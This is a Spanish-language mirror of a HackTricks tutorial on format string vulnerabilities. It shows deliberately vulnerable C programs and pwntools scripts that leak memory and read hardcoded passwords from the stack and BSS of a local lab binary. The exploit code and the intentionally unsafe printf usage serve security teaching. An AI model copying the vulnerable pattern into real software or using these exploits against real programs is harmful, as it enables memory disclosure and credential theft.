mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
4.8 KiB
Markdown
169 lines
4.8 KiB
Markdown
# Cadenas de Formato - Ejemplo de Lectura Arbitraria
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Leer Binario Inicio
|
|
|
|
### Código
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(void) {
|
|
char buffer[30];
|
|
|
|
fgets(buffer, sizeof(buffer), stdin);
|
|
|
|
printf(buffer);
|
|
return 0;
|
|
}
|
|
```
|
|
Compílalo con:
|
|
```python
|
|
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
|
```
|
|
### Explotar
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./fs-read')
|
|
|
|
payload = f"%11$s|||||".encode()
|
|
payload += p64(0x00400000)
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean())
|
|
```
|
|
- El **offset es 11** porque al establecer varios A y **forzar por fuerza bruta** con un bucle de offsets de 0 a 50 se encontró que en el offset 11 y con 5 caracteres extra (pipes `|` en nuestro caso), es posible controlar una dirección completa.
|
|
- Usé **`%11$p`** con relleno hasta que la dirección fuera todo 0x4141414141414141
|
|
- La **carga útil de la cadena de formato está ANTES de la dirección** porque **printf deja de leer en un byte nulo**, así que si enviamos la dirección y luego la cadena de formato, printf nunca alcanzará la cadena de formato ya que se encontrará un byte nulo antes
|
|
- La dirección seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)
|
|
|
|
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
|
|
|
## Leer contraseñas
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
|
|
|
int main() {
|
|
char stack_password[20] = "secretStackPass"; // Password in stack
|
|
char input1[20], input2[20];
|
|
|
|
printf("Enter first password: ");
|
|
scanf("%19s", input1);
|
|
|
|
printf("Enter second password: ");
|
|
scanf("%19s", input2);
|
|
|
|
// Vulnerable printf
|
|
printf(input1);
|
|
printf("\n");
|
|
|
|
// Check both passwords
|
|
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
|
printf("Access Granted.\n");
|
|
} else {
|
|
printf("Access Denied.\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
Compílalo con:
|
|
```bash
|
|
clang -o fs-read fs-read.c -Wno-format-security
|
|
```
|
|
### Leer desde la pila
|
|
|
|
La **`stack_password`** se almacenará en la pila porque es una variable local, así que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila:
|
|
```python
|
|
from pwn import *
|
|
|
|
for i in range(100):
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$s\na".encode()
|
|
p = process("./fs-read")
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
En la imagen es posible ver que podemos filtrar la contraseña desde la pila en la posición `10`:
|
|
|
|
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
|
|
|
### Leer datos
|
|
|
|
Ejecutando el mismo exploit pero con `%p` en lugar de `%s` es posible filtrar una dirección de heap desde la pila en `%25$p`. Además, comparando la dirección filtrada (`0xaaaab7030894`) con la posición de la contraseña en la memoria en ese proceso, podemos obtener la diferencia de direcciones:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
Ahora es el momento de encontrar cómo controlar 1 dirección en la pila para acceder a ella desde la segunda vulnerabilidad de formato de cadena:
|
|
```python
|
|
from pwn import *
|
|
|
|
def leak_heap(p):
|
|
p.sendlineafter(b"first password:", b"%5$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
for i in range(30):
|
|
p = process("./fs-read")
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
password_addr = heap_leak_addr - 0x126a
|
|
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$p|||".encode()
|
|
payload += b"AAAAAAAA"
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output.decode("utf-8"))
|
|
p.close()
|
|
```
|
|
Y es posible ver que en el **try 14** con el paso utilizado podemos controlar una dirección:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Exploit
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process("./fs-read")
|
|
|
|
def leak_heap(p):
|
|
# At offset 25 there is a heap leak
|
|
p.sendlineafter(b"first password:", b"%25$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
# Offset calculated from the leaked position to the possition of the pass in memory
|
|
password_addr = heap_leak_addr + 0x1f7bc
|
|
|
|
print(f"Calculated address is: {hex(password_addr)}")
|
|
|
|
# At offset 14 we can control the addres, so use %s to read the string from that address
|
|
payload = f"%14$s|||".encode()
|
|
payload += p64(password_addr)
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|